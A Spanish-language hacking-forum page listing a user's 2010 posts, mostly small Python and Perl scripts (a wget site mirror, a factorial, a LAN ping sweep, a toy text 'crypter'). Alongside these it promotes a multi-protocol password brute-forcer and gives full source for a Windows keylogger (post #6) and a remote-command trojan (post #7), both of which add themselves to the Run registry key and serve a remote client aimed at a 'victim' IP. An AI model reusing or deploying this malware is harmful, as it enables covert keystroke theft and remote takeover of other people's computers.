Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - d33k40

#1
GNU/Linux / Descargar web completas con wget.
Julio 25, 2010, 08:01:05 AM
Bueno un simple script que descarga la web completa que quieras.

Código: php
echo "Ingresa la web a descargar:"
read web
wget -r -l 4 -x -np -N $web


Saludos.
#2
Perl / Factorial de un número
Julio 16, 2010, 08:26:54 AM
Buenas a todos, un simple programa para sacar la factorial de x numero.

Código: perl
#!/usr/bin/perl

print "Vamos a calcular el factorial. \n";
print "\n";
print "De que numero quieres calcular su factorial?: \n";
print "\n";
$numero = <>;
$total = 1;
for($i = 1 ; $i <= $numero ; $i++ ) {
$total = $total * $i;
}
print "El factorial es: ", $total;
print "\n";
#3
Python / Escaner LAN
Julio 09, 2010, 06:45:11 PM
Buenas, aqui dejo este code sencillo, sirve para saber que ip's dan señal en una red local tipo C en ese momento.

Código: python
import os
import re
import sys

a = re.compile(r"(\d) received")
b = ("\033[31mvacio\033[0m","\033[33mduda\033[0m","\033[32mocupado\033[0m")
octetos = raw_input("Elige los 3 primeros octetos de tu red (ej:192.168.0.): ")
for cuarto in range(1,255):
   ip = octetos+str(cuarto)
   ping = os.popen(str("ping -q -c2 "+ip),"r")
   print "Comprobando ",ip,", estado:",
   sys.stdout.flush()
   while 1:
      c = ping.readline()
      if not c: break
      d = re.findall(a,c)
      if d:
         print b[int(d[0])]


Saludos. ;)
#4
Buenas, aqui les traigo este magnífico bruteforcer con muy buenas caracteristicas, las cuales voy a esplicar un poco por encima.

Se puede correr tanto en Windows como en GNU/Linux con wine.

De primera mano este es su aspecto:


En el menú podemos apreciar | File | Setting | Log | Help |
- File : Guardar los resultados en un archivo de texto y salir simplemente.
- Setting : Cargar la configuración por defecto, establecer la configuración actual como por defecto, cargar configuración y guardar configuración.
- Log : Desde la configuración del log podemos activarlo o desactivarlo con varias informaciones:
   - Debug
   - Information
   - Notice
   - Warning
   - Error
   - Critical
   - Enable packet logging

- Help : El About del programa.

Las configuraciones del programa muestra:
- Opciones de conexión:
   - Target : ip/host al que va dirigido el ataque, también podemos configurar un proxy mediante HTTP, SOCKS4 y SOCKS5, y si requiere autentificación, la especificamos.
   - Protocol : El protocolo al que va dirigido (FTP, HTTP basico-formulario, IMAP, MSSQL, MySQL, POP3, SMB, SMTP, SNMP, SSH2, Telnet y VNC).
   - Port : Puerto, con la opción de habilitar SSL cuando sea posible.
- Opciones de usuario:
   - User : El user que vamos a utilizar, podemos escribir un solo user o podemos utilizar un archivo .txt como diccionario con varios users posibles.
- Modos de contraseña:
   - Combo : El combo es utilizado con un delimitador (:, espacio o tabulado) en el que ván el user y la password de esta manera: admin:password o en vez de ":" un espacio o una tabulación. El len es desde cuantos caracteres hasta cuantos van a ser posibles, esto descarta los que no estén en el rango que establezcas.
   - Dictionary : El uso de un diccionario .txt con las contraseñas posibles, podemos añadir ala configuración que automáticamente el dicionario ponga use aparte de las combinaciones que tengamos, metamorfosee las password poniendolas en minuscula, mayuscula, mayuscula la primera letra, invierta los caracteres o la duplique, o todo a la vez, multiplicando las posibilidades de acertar en un 600%, donde también podemos añadir len para coger un rango y desechar las que no estén en ese rango que establezcamos.
   - Brute force : El método que más me gusta :) pero más lento :(, nos dá la opción de elegir entre una serie de caracteres con los que hacer el ataque o podemos elegir que caracteres queremos que use.
- Opciones misceláneas:
   - Connections : El número de conexiones activa que queremos tener al mismo tiempo corriendo.
   - Max retry : Máximos reintentos de conexión.
   - Time out : El tiempo límite para cada re/intento de conexión.
   - Wait for retry : El tiempo que va a esperar para realizar otro reintento de conexión.
   - Max attempt/Conection : Número máximo de intentos/conexiones a la vez.
   - Casilla-Stop when found one : Si se activa, cuando el programa encuentre el user y la password dejará de testear y mostrará el resultado.
Luego, digamos en la consola de información tenemos:
- Result: Donde aparecen los resultados, cuando obtenemos el usuario correcto con su respectiva contraseña.
- Testing: Donde podemos apreciar que se está realizando en ese instante.
- Message: El log donde aparecen errores y más informaciones relevantes.

-Descarga:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Podeis descargar el compilado y el source ;)

Espero les sea útil como lo es para mi, creo que me he expresado con claridad demostrando las cualidades de este magnífico programa.

Saludos. :)
#5
Python / [wxPython - GUI] - d33k40 De/Crypter v2.0
Mayo 15, 2010, 02:24:31 PM
Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Buenas, aquí dejo la 2ª versión del de/criptador de texto que hice, ahora versión GUI.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

De/Crypter.py
Código: python
import wx
from wx import xrc

class Prog(wx.App):
    def OnInit(self):

        self.res = xrc.XmlResource('recursos.xrc')
        self.frame = self.res.LoadFrame(None, 'Frame1')
        self.dialog = self.res.LoadDialog(None, 'Dialog1')
       
        self.botonLimpiar = xrc.XRCCTRL(self.frame, 'button1')
        self.frame.Bind(wx.EVT_BUTTON, self.Limpiar, self.botonLimpiar)
        self.botonLimpiar2 = xrc.XRCCTRL(self.frame, 'button2')
        self.frame.Bind(wx.EVT_BUTTON, self.Limpiar2, self.botonLimpiar2)
       
        self.botonCryptar = xrc.XRCCTRL(self.frame, 'button4')
        self.frame.Bind(wx.EVT_BUTTON, self.Cryptar, self.botonCryptar)
        self.botonDecryptar = xrc.XRCCTRL(self.frame, 'button5')
        self.frame.Bind(wx.EVT_BUTTON, self.Decryptar, self.botonDecryptar)


        self.botonAbout = xrc.XRCCTRL(self.frame, 'button3')
        self.frame.Bind(wx.EVT_BUTTON, self.About, self.botonAbout)
       
        self.Texto = xrc.XRCCTRL(self.frame, 'textCtrl1')

        self.Texto2 = xrc.XRCCTRL(self.frame, 'textCtrl2')
       
        self.DirFil = xrc.XRCCTRL(self.frame, 'textCtrl3')
       
        self.frame.Show()

        return True
    def Limpiar(self, event):
        self.Texto.Clear()
    def Limpiar2(self, event):
        self.Texto2.Clear()
    def About(self, event):
        self.dialog.Show()
    def Cryptar(self, event):
        li = self.Texto.GetNumberOfLines()
        le = 0
        while le <= li - 1:
            lin = self.Texto.GetLineText(le)
            text = lin
            salir = False
            v3 = 0
            while v3 <= 26:
                v1 = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", " "]
                v2 = ["1-", "2-", "3-", "4-", "5-", "6-", "7-", "8-", "9-", "10-", "11-", "12-", "13-", "14-", "15-", "16-", "17-", "18-", "19-", "20-", "21-", "22-", "23-", "24-", "25-",  "26-", "27-"]
                text = text.replace(v1[v3], v2[v3])
                v3 = v3 + 1
            self.Texto2.WriteText(text + "\n")
            le = le + 1
        wx.MessageBox("Texto encriptado correctamente")
    def Decryptar(self, event):
        li = self.Texto.GetNumberOfLines()
        le = 0
        while le <= li - 1:
            lin = self.Texto.GetLineText(le)
            text = lin
            salir = False
            v3 = 0
            while v3 <= 26:
                v1 = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", " "]
                v2 = ["1-", "2-", "3-", "4-", "5-", "6-", "7-", "8-", "9-", "10-", "11-", "12-", "13-", "14-", "15-", "16-", "17-", "18-", "19-", "20-", "21-", "22-", "23-", "24-", "25-",  "26-", "27-"]
                text = text.replace(v2[v3], v1[v3])
                v3 = v3 + 1
            self.Texto2.WriteText(text + "\n")
            le = le + 1
        wx.MessageBox("Texto desencriptado correctamente")


if __name__ == '__main__':
    Crypter = Prog()
    Crypter.MainLoop()


recursos.xrc
Código: python
<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<resource xmlns="http://www.wxwindows.org/wxxrc" version="2.3.0.1">
<object class="wxFrame" name="Frame1">
<style>wxDEFAULT_FRAME_STYLE|wxSTAY_ON_TOP|wxTAB_TRAVERSAL</style>
<size>500,600</size>
<bg>#000000</bg>
<title>d33k40 De/Crypter Text v2.0</title>
<centered>1</centered>
<object class="wxBoxSizer">
<orient>wxVERTICAL</orient>
<object class="sizeritem">
<option>0</option>
<flag>wxALL|wxALIGN_CENTER_HORIZONTAL</flag>
<border>5</border>
<object class="wxStaticBitmap" name="bitmap1">
<bitmap>sc.png</bitmap>
</object>
</object>
<object class="sizeritem">
<option>1</option>
<flag>wxEXPAND</flag>
<border>5</border>
<object class="wxBoxSizer">
<orient>wxHORIZONTAL</orient>
<object class="sizeritem">
<option>1</option>
<flag>wxEXPAND</flag>
<border>5</border>
<object class="wxBoxSizer">
<orient>wxVERTICAL</orient>
<object class="sizeritem">
<option>0</option>
<flag>wxALL|wxALIGN_CENTER_HORIZONTAL</flag>
<border>5</border>
<object class="wxStaticText" name="staticText1">
<fg>#00ff00</fg>
<label>Texto:</label>
</object>
</object>
<object class="sizeritem">
<option>0</option>
<flag>wxALL|wxALIGN_CENTER_HORIZONTAL</flag>
<border>5</border>
<object class="wxButton" name="button1">
<label>Limpiar</label>
<default>0</default>
</object>
</object>
</object>
</object>
<object class="sizeritem">
<option>0</option>
<flag>wxALL</flag>
<border>5</border>
<object class="wxTextCtrl" name="textCtrl1">
<style>wxHSCROLL|wxTE_MULTILINE</style>
<size>400,70</size>
<bg>#00ff00</bg>
<fg>#000000</fg>
<value></value>
<maxlength>0</maxlength>
</object>
</object>
</object>
</object>
<object class="sizeritem">
<option>1</option>
<flag>wxEXPAND</flag>
<border>5</border>
<object class="wxBoxSizer">
<orient>wxHORIZONTAL</orient>
<object class="sizeritem">
<option>1</option>
<flag>wxEXPAND</flag>
<border>5</border>
<object class="wxBoxSizer">
<orient>wxVERTICAL</orient>
<object class="sizeritem">
<option>0</option>
<flag>wxALL|wxALIGN_CENTER_HORIZONTAL</flag>
<border>5</border>
<object class="wxStaticText" name="staticText2">
<fg>#00ff00</fg>
<label>Salida:</label>
</object>
</object>
<object class="sizeritem">
<option>0</option>
<flag>wxALL|wxALIGN_CENTER_HORIZONTAL</flag>
<border>5</border>
<object class="wxButton" name="button2">
<label>Limpiar</label>
<default>0</default>
</object>
</object>
</object>
</object>
<object class="sizeritem">
<option>0</option>
<flag>wxALL</flag>
<border>5</border>
<object class="wxTextCtrl" name="textCtrl2">
<style>wxHSCROLL|wxTE_MULTILINE</style>
<size>400,70</size>
<bg>#00ff00</bg>
<fg>#000000</fg>
<value></value>
<maxlength>0</maxlength>
</object>
</object>
</object>
</object>
<object class="sizeritem">
<option>1</option>
<flag>wxEXPAND|wxALIGN_CENTER_HORIZONTAL</flag>
<border>5</border>
<object class="wxBoxSizer">
<orient>wxHORIZONTAL</orient>
<object class="sizeritem">
<option>0</option>
<flag>wxALL|wxALIGN_CENTER_VERTICAL</flag>
<border>5</border>
<object class="wxButton" name="button3">
<label>About</label>
<default>0</default>
</object>
</object>
<object class="spacer">
<option>1</option>
<flag>wxEXPAND</flag>
<border>5</border>
<size>0,0</size>
</object>
<object class="sizeritem">
<option>0</option>
<flag>wxALL|wxALIGN_CENTER_VERTICAL</flag>
<border>5</border>
<object class="wxButton" name="button4">
<label>Crypt!</label>
<default>0</default>
</object>
</object>
<object class="spacer">
<option>1</option>
<flag>wxEXPAND</flag>
<border>5</border>
<size>0,0</size>
</object>
<object class="sizeritem">
<option>0</option>
<flag>wxALL|wxALIGN_CENTER_VERTICAL</flag>
<border>5</border>
<object class="wxButton" name="button5">
<label>Decrypt!</label>
<default>0</default>
</object>
</object>
</object>
</object>
<object class="sizeritem">
<option>0</option>
<flag>wxALL|wxALIGN_CENTER_HORIZONTAL</flag>
<border>5</border>
<object class="wxStaticText" name="staticText4">
<bg>#000000</bg>
<fg>#00ff00</fg>
<label>Coded by: d33k40</label>
</object>
</object>
<object class="sizeritem">
<option>0</option>
<flag>wxALL|wxALIGN_CENTER_HORIZONTAL</flag>
<border>5</border>
</object>
</object>
</object>
<object class="wxDialog" name="Dialog1">
<style>wxDEFAULT_DIALOG_STYLE|wxSTAY_ON_TOP</style>
<bg>#000000</bg>
<title>About</title>
<object class="wxBoxSizer">
<orient>wxVERTICAL</orient>
<object class="sizeritem">
<option>0</option>
<flag>wxALL|wxALIGN_CENTER_HORIZONTAL</flag>
<border>5</border>
<object class="wxStaticBitmap" name="bitmap2">
<bitmap>sc.png</bitmap>
</object>
</object>
<object class="sizeritem">
<option>0</option>
<flag>wxALL|wxALIGN_CENTER_HORIZONTAL</flag>
<border>5</border>
<object class="wxStaticText" name="staticText3">
<fg>#00ff00</fg>
<label>Coded by: d33k40\n\nAgradecimientos:\n- [Bacardi]\n- A la comunidad &quot;Infierno Hacker&quot;, todos y cada uno\nde ellos.</label>
</object>
</object>
<object class="sizeritem">
<option>0</option>
<flag>wxALL|wxALIGN_CENTER_HORIZONTAL</flag>
<border>5</border>
</object>
</object>
</object>
</resource>


Cualquiera que quiera usar el código que lo use, pero de crédito.

Pueden cambiar los caracteres a reemplazar por la cadena que quieran, si añaden caracteres, no olviden aumentar el bucle.

Saludos.
#6
Python / Python keylogger - by "bLiNdFiR3"
Abril 07, 2010, 03:30:22 AM
Buenas, ahora os dejo un keylogger en python :)  ;D

Post original: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Server:

Código: python
"""
Server Version
*KeyLogger.pyw
*Log all key strokes from victim machine
Features:
-Text File Transfer
-Version 1.2
"""
import os
import string
import sys
import win32api
import socket
from _winreg import *
def body():
      try:
         socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
         socket1.bind((socket.gethostname(), 902))
         socket1.listen(5)
         conn, addr = socket1.accept()
      except socket.error:
         print "error with sockets"
      else: 
        try:
           keylog_file = open("C:\\keylog_file.txt","w")
        except IOError:
           print "Error grabbing file"
        else:
         while 1:
            keyAscii = 0
            for i in range(32, 256):
                key_log = win32api.GetAsyncKeyState(i)
                if key_log == -32767:
                  print i
                  key_end = 81
                  keylog_file.write(chr(i))
                  if i == key_end:
                     keylog_file.close()
                     keyin = open("C:\\keylog_file.txt","r")
                     data = keyin.read()
                     conn.send(data)
def regwrite():
   aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
   aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
   aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
   SetValueEx(aKey,"AciD Ice",0, REG_SZ, r"C:\your_project_name_here.pyw")
   CloseKey(aKey)
   CloseKey(aReg)
if     ==  '':
       class mainexecution:
         regwrite()
         body()


Cliente:

Código: python
"""
Client Version
*Client.py
*Log all key strokes from victim machine
Features:
-Text File Transfer
-Help
-About
-Version 1.2
"""
import socket
import os
def body():
      print "AciD Ice Client V-1.1"
      victim_IP = raw_input ("please input an IP to connect to ")
      host = victim_IP
      port = 902
      addr = (victim_IP, 902)
      try:
        socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        socket1.connect(addr)
      except socket.error:   
        print "failure to connect"
      else:
        print "connection Made to remote host =]"
        try:
          file = open("C:\\key_log_file2.txt","w")
        except IOError:
          print "error in file"
        else:
          logging() 
          data = socket1.recv(1024)
          print data
          file.write(data)
          file.close()
def logging():
    print "Logging keys..."
    print "------------------------------"
if     ==  '':
    class mainprog: 
       body()


Saludos ;) ;D 8)
#7
Python / Python Trojan - By "bLiNdFiR3"
Abril 03, 2010, 10:18:27 PM
Buenas, aquí os dejo un troyano sencillo escrito en python

Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Post original: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Cliente:
Código: python
import socket
import os
#CLIENT
def body():
      print "AciD Ice Client V-1.2"
      victim_IP = raw_input ("please input an IP to connect to ")
      host = victim_IP
      port = 901
      addr = (victim_IP, 901)
      socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      if(socket1.connect(addr)):
          print "connection Made to remote host =]"
      options()
      text_finished0 = "cmd"
      text_finished2 = "file_vbs"
      text_finished3 = "file_bat"
      text_finished4 = "file_text"
      user_input = ""
      while user_input != text_finished0 or text_finished2:
        user_input = raw_input("input what you want to do? ")
        socket1.send(user_input)
        if user_input == text_finished0 or text_finished2 or text_finished3 or textfinished4:
            break
            options()
            user_input = raw_input("What do you want to do? ")
      if user_input == "cmd":
         text_finished = "done"
         file_text = ""   
         print "When finsihed having fun type 'done n"
         while file_text != text_finished:
              file_text = raw_input("please input the proper command: \n")
              socket1.send(file_text)
              if file_text == text_finished:
                  break
                  options()
                  user_input = raw_input("What do you want to do? ")
      if user_input == "file_vbs":
          text_finished3 = "done"
          file_send = ""
          print "when done type 'done'"
          while text_finished3 != file_send:
             file_send = raw_input("input a VISUAL BASIC SCRIPT file to send: \n")
             file = open(file_send, "rb")
             data = file.read()
             file.close()
             if(socket1.send(data)):
                 print file_send,"sent to",victim_IP,"on port 901"
                 if text_finished3 == file_send:
                     break
                     options()
                     user_input = raw_input("What do you want to do? ")
      if user_input == "file_bat":
          text_finished4 = "done"
          file_send2 = ""
          while text_finished4 != file_send2:
            file_send2 = raw_input("input a BATCH file to send: \n")
            file2 = open(file_send2, "rb")
            data2 = file2.read()
            file2.close()
            if(socket1.send(data2)):
               print file_send2,"sent to",victim_IP,"on port 901"
               if text_finished4 == file_send2:
                     break
                     options()
                     user_input = raw_input("What do you want to do? ")
      if user_input == "file_txt":
          text_finished5 = "done"
          file_send3 = ""
          while text_finished5 != file_send3:
             file_send3 = raw_input("input a TEXT file to send: \n")
             file3 = open(file_send3, "rb")
             data3 = file3.read()
             file3.close()
             if(socket1.send(data3)):
                print file_send3,"sent to",victim_IP,"on port 901"
                if text_finished5 == file_send3:
                      break
                      options()
                      user_input = raw_input("What do you want to do? ")
   

def options():
    print "remote cmd line commands = 'cmd' "
    print "open/close cd drive (coming soon) "
    print "file transfer (vbs) = 'file_vbs' "
    print "file transfer (bat) = 'file_bat' "
    print "file transfer (txt) = 'file_txt' "
    print "keylogger (coming soon) "
    print "When finsihed having fun type 'done'"
if __name__ == '__main__':
    class mainprog:
       body()


Server:
Código: python
#SERVER
import os
import socket
import string
import sys
from _winreg import *
def body():
    try:
      socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      socket1.bind((socket.gethostname(), 901))
      socket1.listen(5)
      conn, addr = socket1.accept()
    except socket.error:
      print "error with sockets"
      data = conn.recv(893892)
      try:
        file = open("C:\\hacked.vbs","w")
        file2 = open("C:\\hacked.bat","w")
        file3 = open("C:\\hacked.txt","w")
      except IOError:
          print "failed to open the programs"
      while 1:
        if data == "cmd":
           data2 = conn.recv(1024)
           os.system(data2)
        if data == "file_vbs":
           data3 = conn.recv(1024)
           try:
             file.write(data3)
             file.close()
           except IOError:
             print "error"
        if data == "file_bat":
           data4 = conn.recv(1024)
           try:
             file2.write(data4)
             file2.close()
           except IOError:
               print "error"
        if data == "file_txt":
           data5 = conn.recv(1024)
           try:
             file3.write(data5)
             file3.close()
           except IOError:
               print "error"
                         
def regwrite():
   aReg = ConnectRegistry(None,HKEY_LOCAL_MACHINE)
   aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
   aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
   SetValueEx(aKey,"AciD Ice",0, REG_SZ, r"C:\Server.exe")
   CloseKey(aKey)
   CloseKey(aReg)
if __name__ == '__main__':
       class mainexecution:
         regwrite()
         body()


Saludos.
#8
Python / -d33k40 De/Crypter-
Marzo 30, 2010, 11:27:46 AM
Buenas, aquí os dejo este cifrador/descifrador de texto que he hecho en python.

Quien quiera puede usar el codigo cómo base pero siempre poniendo en el cual se basó.

Código: PYTHON
#!/usr/bin/env python
print "###############################################"
print "# -d33k40 De/crypter- Coded by: d33k40"
print "# www[dot]infiernohacker[dot]com"
print "# Este es un modelo de De/Crypter, no es el final."
print "###############################################"
print "# Agradecimientos:"
print "# -Principalmente a [Bacardi]:"
print "#   Por su ayuda en python, gracias."
print "# -Infierno Hacker:"
print "#   Por ser una magnifica comunidad en la que todos aprendemos, gracias."
print "###############################################"
print "###############################################"
print "# Bienvenido al menu de -d33k40 De/crypter-"
print "###############################################"
print "# 1-Encriptar un texto."
print "# 2-Desencriptar un texto"
print "###############################################"

v1 = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"]
v2 = ["1-", "2-", "3-", "4-", "5-", "6-", "7-", "8-", "9-", "10-", "11-", "12-", "13-", "14-", "15-", "16-", "17-", "18-", "19-", "20-", "21-", "22-", "23-", "24-", "25-",  "26-"]
def prog(elec):
    if elec == 1:
        crypt(raw_input("Ingresa el texto: "))
    elif elec == 2:
        decrypt(raw_input("Ingresa el texto: "))
    else:
        print "Error, no has elegido ninguna posible eleccion."
        print "###############################################"
        print "# Bienvenido al menu de -d33k40 De/crypter-"
        print "###############################################"
        print "# 1-Encriptar un texto."
        print "# 2-Desencriptar un texto"
        print "###############################################"
        prog(raw_input("Ingresa 1 o 2 segun sea tu eleccion: "))

def seguir(seguir):
    if seguir == "si":
        print "###############################################"
        print "# Bienvenido al menu de -d33k40 De/crypter-"
        print "###############################################"
        print "# 1-Encriptar un texto."
        print "# 2-Desencriptar un texto"
        print "###############################################"
        prog(int(raw_input("Ingresa 1 o 2 segun sea tu eleccion: ")))
    elif seguir == "no":
        print "Hasta luego."
    else:
        print "Error."
        seguir(raw_input("Deseas De/Encriptar algun texto mas? si/no: "))

def crypt(text):
    texto = text
    salir = False
    v3 = 0
    while v3 <= 25:
        text = text.replace(v1[v3], v2[v3])
        v3 = v3 + 1
        print text
    res = raw_input("Quieres guardar el texto encriptado? si/no: ")
    if res == "si":
        nombre = raw_input("Ingresa el nombre del archivo: ") + ".txt"
        es = "Original: " + texto + " Encriptado: " + text
        file(nombre, "w").write(es)
        print "Texto guardado con exito"
        seguir(raw_input("Deseas De/Encriptar algun texto mas? si/no: "))
    else:
        print "Hasta luego"

def decrypt(text):
    texto = text
    salir = False
    v3 = 0
    while v3 <= 25:
        text = text.replace(v2[v3], v1[v3])
        v3 = v3 + 1
        print text
    res = raw_input("Quieres guardar el texto desencriptado? si/no: ")
    if res == "si":
        nombre = raw_input("Ingresa el nombre del archivo: ") + ".txt"
        es = "Encriptado: " + texto + " Original: " + text
        file(nombre, "w").write(es)
        print "Texto guardado con exito"
        seguir(raw_input("Deseas De/Encriptar algun texto mas? si/no: "))
    else:
        print "Hasta luego"

prog(int(raw_input("Ingresa 1 o 2 segun sea tu eleccion: ")))


Saludos, acepto sugerencias/fallos/ediciones/criticas constructivas.

Post original: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta